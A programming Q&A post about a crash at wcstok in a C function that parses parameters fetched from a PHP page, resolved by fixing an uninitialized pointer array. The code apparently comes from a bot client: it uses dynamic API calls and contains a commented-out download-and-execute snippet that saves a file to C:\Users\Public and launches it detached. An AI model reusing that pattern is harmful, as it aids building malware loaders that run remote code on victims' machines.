Code (C) won't work when I remove junk code? - c

Question

I have the following code. The code reads a string from a PHP webpage, then converts the code using the MultiByteToWideChar-function. Then it splits the string using the comma-delimiter. It then removes the "xxx=" before the value (for example, "cid={abcd-1234-5678},tid=AAD23HKJD23KVAAAHN23") and attaches the splitted substrings to an array. Then it displays the parameters one by one in a textbox.
I had it working, however I reinstalled my system 2 days ago and since then I cannot seem to get it working again (even though I backed up the working project before reinstalling, which leaves me wondering how this could ever be possible).
So I have been trying for hours and hours and hours the past day, changing every setting in the compiler and project properties I could think of, reinstalling Visual Studio, trying other versions of Visual Studio, installing extra SDK packages... Nothing helped. Then I added some junk code to test whether the wcstok function was even working (it seems that the project died there) and then randomly the entire project worked and the array I talked about before got properly returned. However, if I remove this junkcode or the code after the splitting/returning of the string (which should have no influence on the code above it, leaving me as confused as I could possibly be) it stops working again and seems to die at the "wcstok"-function.
This is my code:
BOOL Commands(LPBYTE command, DWORD size)
{
unsigned int sizeint;
sizeint = (unsigned int)size;
wchar_t params[MAXCHAR];
MultiByteToWideChar(CP_ACP, MB_COMPOSITE, (LPCCH)command, sizeint, (LPWSTR)params, size);
MessageBoxW(0, params, 0, 0);
//wchar_t input[100] = L"A bird came down the walk";
//wchar_t* buffer;
//wchar_t* token = std::wcstok(input, L" ", &buffer);
wchar_t buf2[MAXCHAR], *ptr;
int i;
for (ptr = wcstok(params, L","); ptr != NULL; ptr = wcstok(NULL, L","))
{
CWA(lstrcpyW, kernel32, buf2, ptr);
for (i = 0; i < lstrlenW(buf2); i++)
{
if (buf2[i] == '=' )
{
wchar_t *a[1000];
wcscpy(a[0] + i, buf2 + i + 1);
MessageBoxW(0, a[0] + i, 0, 0);
}
else
{
}
}
}
//HRESULT hr;
//LPCTSTR Url = _T("http://cplusplus.com/img/cpp-logo.png"), File = _T("C:\\Users\\Public\\file.exe");
//////hr = URLDownloadToFile(0, Url, File, 0, 0);
//switch (hr)
//{
// PROCESS_INFORMATION *piinfo; //size = 0x10
// STARTUPINFO *siinfo; //size = 0x44
// CWA(CreateProcessW, kernel32, 0, File, 0, 0, 0, DETACHED_PROCESS, 0, 0, siinfo, piinfo);
//}
CWA(Sleep, kernel32, 100);
return 1;
}
It doesn't work properly when I use the code above, but when I uncomment the junk-code that is commented above, it randomly does work. The first "MessageBoxW" seems to always return the string from the PHP page properly, however once I remove the junkcode, the program gets terminated once the wcstok in the splitting function is reached.
It worked before exactly like this and I am honestly clueless, I hope anyone has an idea what could cause this because it is honestly driving me nuts..
Thanks a lot in advance!

Answer 1

Millie Smith was the one who gave me the place where the code was bugged.
Instead of defining "a" as a wchar_t*, I had to define it as a normal w_char.
So it became "wchar_t a[MAXCHAR]". Then I had to change the "wcscpy(a[0] + i, buf2 + i + 1);" inside the splitting function into "wcscpy(a + i, buf2 + i + 1);".
Learned something new again, undefined behaviour can be a tricky thing.
Thanks for the help and have a nice day!